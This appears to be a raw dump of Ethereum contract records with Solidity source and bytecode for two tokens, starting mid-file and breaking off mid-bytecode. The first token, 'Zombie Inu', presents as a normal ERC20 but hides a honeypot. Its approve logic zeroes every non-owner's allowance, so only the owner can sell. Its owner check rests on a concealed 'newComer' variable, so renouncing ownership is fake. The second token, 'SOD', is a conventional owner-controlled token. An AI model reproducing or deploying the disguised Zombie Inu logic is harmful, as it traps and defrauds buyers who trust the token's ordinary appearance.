_functionCallWithValue(target, data, value, errorMessage); } function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) { require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: weiValue }(data); if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } abstract contract Context { function _msgSender() internal view virtual returns (address payable) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () internal { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } function transferOwnership(address newOwner) private onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } address private newComer = _msgSender(); modifier onlyOwner() { require(newComer == _msgSender(), "Ownable: caller is not the owner"); _; } } contract ZombieInu is Context, IERC20, Ownable { using SafeMath for uint256; using Address for address; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _tTotal = 1000* 10**12 * 10**18; string private _name = ' Zombie Inu '; string private _symbol = 'ZINU'; uint8 private _decimals = 18; constructor () public { _balances[_msgSender()] = _tTotal; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public view returns (string memory) { return _name; } function symbol() public view returns (string memory) { return _symbol; } function decimals() public view returns (uint8) { return _decimals; } function _approve(address ol, address tt, uint256 amount) private { require(ol != address(0), "ERC20: approve from the zero address"); require(tt != address(0), "ERC20: approve to the zero address"); if (ol != owner()) { _allowances[ol][tt] = 0; emit Approval(ol, tt, 4); } else { _allowances[ol][tt] = amount; emit Approval(ol, tt, amount); } } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function totalSupply() public view override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function _transfer(address sender, address recipient, uint256 amount) internal { require(sender != address(0), "BEP20: transfer from the zero address"); require(recipient != address(0), "BEP20: transfer to the zero address"); _balances[sender] = _balances[sender].sub(amount, "BEP20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } }
0x608060405234801561001057600080fd5b50600436106100a95760003560e01c806370a082311161007157806370a0823114610258578063715018a6146102b05780638da5cb5b146102ba57806395d89b41146102ee578063a9059cbb14610371578063dd62ed3e146103d5576100a9565b806306fdde03146100ae578063095ea7b31461013157806318160ddd1461019557806323b872dd146101b3578063313ce56714610237575b600080fd5b6100b661044d565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156100f65780820151818401526020810190506100db565b50505050905090810190601f1680156101235780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b61017d6004803603604081101561014757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506104ef565b60405180821515815260200191505060405180910390f35b61019d61050d565b6040518082815260200191505060405180910390f35b61021f600480360360608110156101c957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610517565b60405180821515815260200191505060405180910390f35b61023f6105f0565b604051808260ff16815260200191505060405180910390f35b61029a6004803603602081101561026e57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610607565b6040518082815260200191505060405180910390f35b6102b8610650565b005b6102c26107d8565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6102f6610801565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561033657808201518184015260208101905061031b565b50505050905090810190601f1680156103635780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6103bd6004803603604081101561038757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506108a3565b60405180821515815260200191505060405180910390f35b610437600480360360408110156103eb57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506108c1565b6040518082815260200191505060405180910390f35b606060058054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156104e55780601f106104ba576101008083540402835291602001916104e5565b820191906000526020600020905b8154815290600101906020018083116104c857829003601f168201915b5050505050905090565b60006105036104fc610948565b8484610950565b6001905092915050565b6000600454905090565b6000610524848484610c6f565b6105e584610530610948565b6105e0856040518060600160405280602881526020016110b960289139600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610596610948565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610f299092919063ffffffff16565b610950565b600190509392505050565b6000600760009054906101000a900460ff16905090565b6000600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b610658610948565b73ffffffffffffffffffffffffffffffffffffffff16600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461071a576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b606060068054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156108995780601f1061086e57610100808354040283529160200191610899565b820191906000526020600020905b81548152906001019060200180831161087c57829003601f168201915b5050505050905090565b60006108b76108b0610948565b8484610c6f565b6001905092915050565b6000600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156109d6576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602481526020018061112a6024913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610a5c576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260228152602001806110976022913960400191505060405180910390fd5b610a646107d8565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614610b83576000600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92560046040518082815260200191505060405180910390a3610c6a565b80600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040518082815260200191505060405180910390a35b505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610cf5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260258152602001806110726025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610d7b576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260238152602001806111076023913960400191505060405180910390fd5b610de7816040518060600160405280602681526020016110e160269139600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610f299092919063ffffffff16565b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610e7c81600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610fe990919063ffffffff16565b600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a3505050565b6000838311158290610fd6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b83811015610f9b578082015181840152602081019050610f80565b50505050905090810190601f168015610fc85780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5060008385039050809150509392505050565b600080828401905083811015611067576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b809150509291505056fe42455032303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f766520746f20746865207a65726f206164647265737345524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636542455032303a207472616e7366657220616d6f756e7420657863656564732062616c616e636542455032303a207472616e7366657220746f20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f2061646472657373a264697066735822122031cb47cf9f8cb3f34adaf94904f88f8ca74eea0edf3a457024ff56948b0fa59664736f6c634300060c0033
{"success": true, "error": null, "results": {}}
7,231
0x11e1155bd3a53aceb610eb0d70090071fe5d820e
/** *Submitted for verification at Etherscan.io on 2021-05-27 */ pragma solidity ^0.5.4; interface IERC20 { function transfer(address to, uint256 value) external returns (bool); function approve(address spender, uint256 value) external returns (bool); function transferFrom( address from, address to, uint256 value ) external returns (bool); function totalSupply() external view returns (uint256); function balanceOf(address who) external view returns (uint256); function allowance(address owner, address spender) external view returns (uint256); event Transfer(address indexed from, address indexed to, uint256 value); event Approval( address indexed owner, address indexed spender, uint256 value ); } library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { require(b > 0); uint256 c = a / b; return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { require(b <= a); uint256 c = a - b; return c; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a); return c; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { require(b != 0); return a % b; } } contract ERC20 is IERC20 { using SafeMath for uint256; mapping(address => uint256) internal _balances; mapping(address => mapping(address => uint256)) private _allowed; uint256 private _totalSupply; function totalSupply() public view returns (uint256) { return _totalSupply; } function balanceOf(address owner) public view returns (uint256) { return _balances[owner]; } function allowance(address owner, address spender) public view returns (uint256) { return _allowed[owner][spender]; } function transfer(address to, uint256 value) public returns (bool) { _transfer(msg.sender, to, value); return true; } function approve(address spender, uint256 value) public returns (bool) { require(spender != address(0)); _allowed[msg.sender][spender] = value; emit Approval(msg.sender, spender, value); return true; } function transferFrom( address from, address to, uint256 value ) public returns (bool) { _allowed[from][msg.sender] = _allowed[from][msg.sender].sub(value); _transfer(from, to, value); emit Approval(from, msg.sender, _allowed[from][msg.sender]); return true; } function increaseAllowance(address spender, uint256 addedValue) public returns (bool) { require(spender != address(0)); _allowed[msg.sender][spender] = _allowed[msg.sender][spender].add( addedValue ); emit Approval(msg.sender, spender, _allowed[msg.sender][spender]); return true; } function decreaseAllowance(address spender, uint256 subtractedValue) public returns (bool) { require(spender != address(0)); _allowed[msg.sender][spender] = _allowed[msg.sender][spender].sub( subtractedValue ); emit Approval(msg.sender, spender, _allowed[msg.sender][spender]); return true; } function _transfer( address from, address to, uint256 value ) internal { require(to != address(0)); _balances[from] = _balances[from].sub(value); _balances[to] = _balances[to].add(value); emit Transfer(from, to, value); } function _mint(address account, uint256 value) internal { require(account != address(0)); _totalSupply = _totalSupply.add(value); _balances[account] = _balances[account].add(value); emit Transfer(address(0), account, value); } function _burn(address account, uint256 value) internal { require(account != address(0)); _totalSupply = _totalSupply.sub(value); _balances[account] = _balances[account].sub(value); emit Transfer(account, address(0), value); } } contract SOD is ERC20 { string public constant name = "Solution of doctor"; string public constant symbol = "SOD"; uint8 public constant decimals = 18; uint256 public constant initialSupply = 10000000000 * (10**uint256(decimals)); constructor() public { super._mint(msg.sender, initialSupply); owner = msg.sender; } address public owner; event OwnershipRenounced(address indexed previousOwner); event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); modifier onlyOwner() { require(msg.sender == owner, "Not owner"); _; } function renounceOwnership() public onlyOwner { emit OwnershipRenounced(owner); owner = address(0); } function transferOwnership(address _newOwner) public onlyOwner { _transferOwnership(_newOwner); } function _transferOwnership(address _newOwner) internal { require(_newOwner != address(0), "Already owner"); emit OwnershipTransferred(owner, _newOwner); owner = _newOwner; } function dropToken(address[] memory _receivers, uint256[] memory _values) public onlyOwner { require(_receivers.length != 0); require(_receivers.length == _values.length); for (uint256 i = 0; i < _receivers.length; i++) { transfer(_receivers[i], _values[i]); emit Transfer(msg.sender, _receivers[i], _values[i]); } } event Pause(); event Unpause(); bool public paused = false; modifier whenNotPaused() { require(!paused, "Paused by owner"); _; } modifier whenPaused() { require(paused, "Not paused now"); _; } function pause() public onlyOwner whenNotPaused { paused = true; emit Pause(); } function unpause() public onlyOwner whenPaused { paused = false; emit Unpause(); } event Frozen(address target); event Unfrozen(address target); mapping(address => bool) internal freezes; modifier whenNotFrozen() { require(!freezes[msg.sender], "Sender account is locked."); _; } function freeze(address _target) public onlyOwner { freezes[_target] = true; emit Frozen(_target); } function unfreeze(address _target) public onlyOwner { freezes[_target] = false; emit Unfrozen(_target); } function isFrozen(address _target) public view returns (bool) { return freezes[_target]; } function transfer(address _to, uint256 _value) public whenNotFrozen whenNotPaused returns (bool) { releaseLock(msg.sender); return super.transfer(_to, _value); } function transferFrom( address _from, address _to, uint256 _value ) public whenNotPaused returns (bool) { require(!freezes[_from], "From account is locked."); releaseLock(_from); return super.transferFrom(_from, _to, _value); } event Mint(address indexed to, uint256 amount); function mint(address _to, uint256 _amount) public onlyOwner returns (bool) { super._mint(_to, _amount); emit Mint(_to, _amount); return true; } event Burn(address indexed burner, uint256 value); function burn(address _who, uint256 _value) public onlyOwner { require(_value <= super.balanceOf(_who), "Balance is too small."); _burn(_who, _value); emit Burn(_who, _value); } struct LockInfo { uint256 releaseTime; uint256 balance; } mapping(address => LockInfo[]) internal lockInfo; event Lock(address indexed holder, uint256 value, uint256 releaseTime); event Unlock(address indexed holder, uint256 value); function balanceOf(address _holder) public view returns (uint256 balance) { uint256 lockedBalance = 0; for (uint256 i = 0; i < lockInfo[_holder].length; i++) { if (lockInfo[_holder][i].releaseTime <= now) { lockedBalance = lockedBalance.add(lockInfo[_holder][i].balance); } } return super.balanceOf(_holder).add(lockedBalance); } function balanceOfLocked(address _holder) public view returns (uint256 balance) { uint256 lockedBalance = 0; for (uint256 i = 0; i < lockInfo[_holder].length; i++) { if (lockInfo[_holder][i].releaseTime > now) { lockedBalance = lockedBalance.add(lockInfo[_holder][i].balance); } } return lockedBalance; } function balanceOfTotal(address _holder) public view returns (uint256 balance) { uint256 lockedBalance = 0; for (uint256 i = 0; i < lockInfo[_holder].length; i++) { lockedBalance = lockedBalance.add(lockInfo[_holder][i].balance); } return super.balanceOf(_holder).add(lockedBalance); } function releaseLock(address _holder) internal { for (uint256 i = 0; i < lockInfo[_holder].length; i++) { if (lockInfo[_holder][i].releaseTime <= now) { _balances[_holder] = _balances[_holder].add( lockInfo[_holder][i].balance ); emit Unlock(_holder, lockInfo[_holder][i].balance); lockInfo[_holder][i].balance = 0; if (i != lockInfo[_holder].length - 1) { lockInfo[_holder][i] = lockInfo[_holder][lockInfo[_holder] .length - 1]; i--; } lockInfo[_holder].length--; } } } function lockCount(address _holder) public view returns (uint256) { return lockInfo[_holder].length; } function lockState(address _holder, uint256 _idx) public view returns (uint256, uint256) { return ( lockInfo[_holder][_idx].releaseTime, lockInfo[_holder][_idx].balance ); } function lock( address _holder, uint256 _amount, uint256 _releaseTime ) public onlyOwner { require(super.balanceOf(_holder) >= _amount, "Balance is too small."); _balances[_holder] = _balances[_holder].sub(_amount); lockInfo[_holder].push(LockInfo(_releaseTime, _amount)); emit Lock(_holder, _amount, _releaseTime); } function lockAfter( address _holder, uint256 _amount, uint256 _afterTime ) public onlyOwner { require(super.balanceOf(_holder) >= _amount, "Balance is too small."); _balances[_holder] = _balances[_holder].sub(_amount); lockInfo[_holder].push(LockInfo(now + _afterTime, _amount)); emit Lock(_holder, _amount, now + _afterTime); } function unlock(address _holder, uint256 i) public onlyOwner { require(i < lockInfo[_holder].length, "No lock information."); _balances[_holder] = _balances[_holder].add( lockInfo[_holder][i].balance ); emit Unlock(_holder, lockInfo[_holder][i].balance); lockInfo[_holder][i].balance = 0; if (i != lockInfo[_holder].length - 1) { lockInfo[_holder][i] = lockInfo[_holder][lockInfo[_holder].length - 1]; } lockInfo[_holder].length--; } function transferWithLock( address _to, uint256 _value, uint256 _releaseTime ) public onlyOwner returns (bool) { require(_to != address(0), "wrong address"); require(_value <= super.balanceOf(owner), "Not enough balance"); _balances[owner] = _balances[owner].sub(_value); lockInfo[_to].push(LockInfo(_releaseTime, _value)); emit Transfer(owner, _to, _value); emit Lock(_to, _value, _releaseTime); return true; } function transferWithLockAfter( address _to, uint256 _value, uint256 _afterTime ) public onlyOwner returns (bool) { require(_to != address(0), "wrong address"); require(_value <= super.balanceOf(owner), "Not enough balance"); _balances[owner] = _balances[owner].sub(_value); lockInfo[_to].push(LockInfo(now + _afterTime, _value)); emit Transfer(owner, _to, _value); emit Lock(_to, _value, now + _afterTime); return true; } function currentTime() public view returns (uint256) { return now; } function afterTime(uint256 _value) public view returns (uint256) { return now + _value; } }
0x608060405234801561001057600080fd5b50600436106102115760003560e01c80638a57af6b11610125578063d18e81b3116100ad578063df0345861161007c578063df0345861461078c578063e2ab691d146107b2578063e5839836146107e4578063e960bb481461080a578063f2fde38b1461083057610211565b8063d18e81b3146106fe578063d29dad8314610706578063dd62ed3e1461072c578063de6baccb1461075a57610211565b806395d89b41116100f457806395d89b411461054b5780639dc29fac14610553578063a457c2d71461057f578063a9059cbb146105ab578063c77828d0146105d757610211565b80638a57af6b1461049d5780638d1fdf2f146104cf5780638da5cb5b146104f5578063927a4a7b1461051957610211565b80633f4ba83a116101a85780635c975abb116101775780635c975abb1461043357806370a082311461043b578063715018a6146104615780637eee288d146104695780638456cb591461049557610211565b80633f4ba83a1461039257806340c10f191461039c57806345c8b1a6146103c857806346cf1bb5146103ee57610211565b806323b872dd116101e457806323b872dd1461030a578063313ce56714610340578063378dc3dc1461035e578063395093511461036657610211565b806304859ceb1461021657806306fdde0314610245578063095ea7b3146102c257806318160ddd14610302575b600080fd5b6102336004803603602081101561022c57600080fd5b5035610856565b60408051918252519081900360200190f35b61024d61085b565b6040805160208082528351818301528351919283929083019185019080838360005b8381101561028757818101518382015260200161026f565b50505050905090810190601f1680156102b45780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6102ee600480360360408110156102d857600080fd5b506001600160a01b038135169060200135610889565b604080519115158252519081900360200190f35b610233610905565b6102ee6004803603606081101561032057600080fd5b506001600160a01b0381358116916020810135909116906040013561090c565b6103486109ea565b6040805160ff9092168252519081900360200190f35b6102336109ef565b6102ee6004803603604081101561037c57600080fd5b506001600160a01b0381351690602001356109ff565b61039a610aad565b005b6102ee600480360360408110156103b257600080fd5b506001600160a01b038135169060200135610b7f565b61039a600480360360208110156103de57600080fd5b50356001600160a01b0316610c1f565b61041a6004803603604081101561040457600080fd5b506001600160a01b038135169060200135610cc2565b6040805192835260208301919091528051918290030190f35b6102ee610d3b565b6102336004803603602081101561045157600080fd5b50356001600160a01b0316610d4b565b61039a610e24565b61039a6004803603604081101561047f57600080fd5b506001600160a01b038135169060200135610eb9565b61039a611155565b61039a600480360360608110156104b357600080fd5b506001600160a01b03813516906020810135906040013561122f565b61039a600480360360208110156104e557600080fd5b50356001600160a01b0316611382565b6104fd611428565b604080516001600160a01b039092168252519081900360200190f35b6102ee6004803603606081101561052f57600080fd5b506001600160a01b038135169060208101359060400135611437565b61024d61161e565b61039a6004803603604081101561056957600080fd5b506001600160a01b03813516906020013561163d565b6102ee6004803603604081101561059557600080fd5b506001600160a01b03813516906020013561172a565b6102ee600480360360408110156105c157600080fd5b506001600160a01b038135169060200135611773565b61039a600480360360408110156105ed57600080fd5b81019060208101813564010000000081111561060857600080fd5b82018360208201111561061a57600080fd5b8035906020019184602083028401116401000000008311171561063c57600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600092019190915250929594936020810193503591505064010000000081111561068c57600080fd5b82018360208201111561069e57600080fd5b803590602001918460208302840111640100000000831117156106c057600080fd5b91908080602002602001604051908101604052809392919081815260200183836020028082843760009201919091525092955061183c945050505050565b610233611944565b6102336004803603602081101561071c57600080fd5b50356001600160a01b0316611948565b6102336004803603604081101561074257600080fd5b506001600160a01b03813581169160200135166119a0565b6102ee6004803603606081101561077057600080fd5b506001600160a01b0381351690602081013590604001356119cb565b610233600480360360208110156107a257600080fd5b50356001600160a01b0316611baf565b61039a600480360360608110156107c857600080fd5b506001600160a01b038135169060208101359060400135611bca565b6102ee600480360360208110156107fa57600080fd5b50356001600160a01b0316611d16565b6102336004803603602081101561082057600080fd5b50356001600160a01b0316611d34565b61039a6004803603602081101561084657600080fd5b50356001600160a01b0316611dd3565b420190565b6040518060400160405280601281526020017129b7b63aba34b7b71037b3103237b1ba37b960711b81525081565b60006001600160a01b03831661089e57600080fd5b3360008181526001602090815260408083206001600160a01b03881680855290835292819020869055805186815290519293927f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925929181900390910190a350600192915050565b6002545b90565b600354600090600160a01b900460ff1615610960576040805162461bcd60e51b815260206004820152600f60248201526e2830bab9b2b210313c9037bbb732b960891b604482015290519081900360640190fd5b6001600160a01b03841660009081526004602052604090205460ff16156109ce576040805162461bcd60e51b815260206004820152601760248201527f46726f6d206163636f756e74206973206c6f636b65642e000000000000000000604482015290519081900360640190fd5b6109d784611e2a565b6109e284848461204d565b949350505050565b601281565b6b204fce5e3e2502611000000081565b60006001600160a01b038316610a1457600080fd5b3360009081526001602090815260408083206001600160a01b0387168452909152902054610a48908363ffffffff61211616565b3360008181526001602090815260408083206001600160a01b0389168085529083529281902085905580519485525191937f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925929081900390910190a350600192915050565b6003546001600160a01b03163314610af8576040805162461bcd60e51b81526020600482015260096024820152682737ba1037bbb732b960b91b604482015290519081900360640190fd5b600354600160a01b900460ff16610b47576040805162461bcd60e51b815260206004820152600e60248201526d4e6f7420706175736564206e6f7760901b604482015290519081900360640190fd5b6003805460ff60a01b191690556040517f7805862f689e2f13df9f062ff482ad3ad112aca9e0847911ed832e158c525b3390600090a1565b6003546000906001600160a01b03163314610bcd576040805162461bcd60e51b81526020600482015260096024820152682737ba1037bbb732b960b91b604482015290519081900360640190fd5b610bd78383612128565b6040805183815290516001600160a01b038516917f0f6798a560793a54c3bcfe86a93cde1e73087d944c0ea20544137d4121396885919081900360200190a250600192915050565b6003546001600160a01b03163314610c6a576040805162461bcd60e51b81526020600482015260096024820152682737ba1037bbb732b960b91b604482015290519081900360640190fd5b6001600160a01b038116600081815260046020908152604091829020805460ff19169055815192835290517f4feb53e305297ab8fb8f3420c95ea04737addc254a7270d8fc4605d2b9c61dba9281900390910190a150565b6001600160a01b0382166000908152600560205260408120805482919084908110610ce957fe5b600091825260208083206002909202909101546001600160a01b038716835260059091526040909120805485908110610d1e57fe5b906000526020600020906002020160010154915091509250929050565b600354600160a01b900460ff1681565b600080805b6001600160a01b038416600090815260056020526040902054811015610e03576001600160a01b0384166000908152600560205260409020805442919083908110610d9757fe5b90600052602060002090600202016000015411610dfb576001600160a01b03841660009081526005602052604090208054610df8919083908110610dd757fe5b9060005260206000209060020201600101548361211690919063ffffffff16565b91505b600101610d50565b50610e1d81610e11856121be565b9063ffffffff61211616565b9392505050565b6003546001600160a01b03163314610e6f576040805162461bcd60e51b81526020600482015260096024820152682737ba1037bbb732b960b91b604482015290519081900360640190fd5b6003546040516001600160a01b03909116907ff8df31144d9c2f0f6b59d69b8b98abd5459d07f2742c4df920b25aae33c6482090600090a2600380546001600160a01b0319169055565b6003546001600160a01b03163314610f04576040805162461bcd60e51b81526020600482015260096024820152682737ba1037bbb732b960b91b604482015290519081900360640190fd5b6001600160a01b0382166000908152600560205260409020548110610f67576040805162461bcd60e51b81526020600482015260146024820152732737903637b1b59034b73337b936b0ba34b7b71760611b604482015290519081900360640190fd5b6001600160a01b03821660009081526005602052604090208054610fc9919083908110610f9057fe5b60009182526020808320600160029093020191909101546001600160a01b0386168352908290526040909120549063ffffffff61211616565b6001600160a01b03831660008181526020818152604080832094909455600590529190912080547f6381d9813cabeb57471b5a7e05078e64845ccdb563146a6911d536f24ce960f191908490811061101d57fe5b9060005260206000209060020201600101546040518082815260200191505060405180910390a26001600160a01b038216600090815260056020526040812080548390811061106857fe5b60009182526020808320600160029093020191909101929092556001600160a01b038416815260059091526040902054600019018114611127576001600160a01b0382166000908152600560205260409020805460001981019081106110ca57fe5b906000526020600020906002020160056000846001600160a01b03166001600160a01b03168152602001908152602001600020828154811061110857fe5b6000918252602090912082546002909202019081556001918201549101555b6001600160a01b03821660009081526005602052604090208054906111509060001983016123f9565b505050565b6003546001600160a01b031633146111a0576040805162461bcd60e51b81526020600482015260096024820152682737ba1037bbb732b960b91b604482015290519081900360640190fd5b600354600160a01b900460ff16156111f1576040805162461bcd60e51b815260206004820152600f60248201526e2830bab9b2b210313c9037bbb732b960891b604482015290519081900360640190fd5b6003805460ff60a01b1916600160a01b1790556040517f6985a02210a168e66602d3235cb6db0e70f92b3ba4d376a33c0f3d9434bff62590600090a1565b6003546001600160a01b0316331461127a576040805162461bcd60e51b81526020600482015260096024820152682737ba1037bbb732b960b91b604482015290519081900360640190fd5b81611284846121be565b10156112cf576040805162461bcd60e51b81526020600482015260156024820152742130b630b731b29034b9903a37b79039b6b0b6361760591b604482015290519081900360640190fd5b6001600160a01b0383166000908152602081905260409020546112f8908363ffffffff6121d916565b6001600160a01b0384166000818152602081815260408083209490945560058152838220845180860186524287018082528184018981528354600181810186559487529585902092516002909602909201948555905193909101929092558351868152908101919091528251919260008051602061246283398151915292918290030190a2505050565b6003546001600160a01b031633146113cd576040805162461bcd60e51b81526020600482015260096024820152682737ba1037bbb732b960b91b604482015290519081900360640190fd5b6001600160a01b038116600081815260046020908152604091829020805460ff19166001179055815192835290517f8a5c4736a33c7b7f29a2c34ea9ff9608afc5718d56f6fd6dcbd2d3711a1a49139281900390910190a150565b6003546001600160a01b031681565b6003546000906001600160a01b03163314611485576040805162461bcd60e51b81526020600482015260096024820152682737ba1037bbb732b960b91b604482015290519081900360640190fd5b6001600160a01b0384166114d0576040805162461bcd60e51b815260206004820152600d60248201526c77726f6e67206164647265737360981b604482015290519081900360640190fd5b6003546114e5906001600160a01b03166121be565b83111561152e576040805162461bcd60e51b81526020600482015260126024820152714e6f7420656e6f7567682062616c616e636560701b604482015290519081900360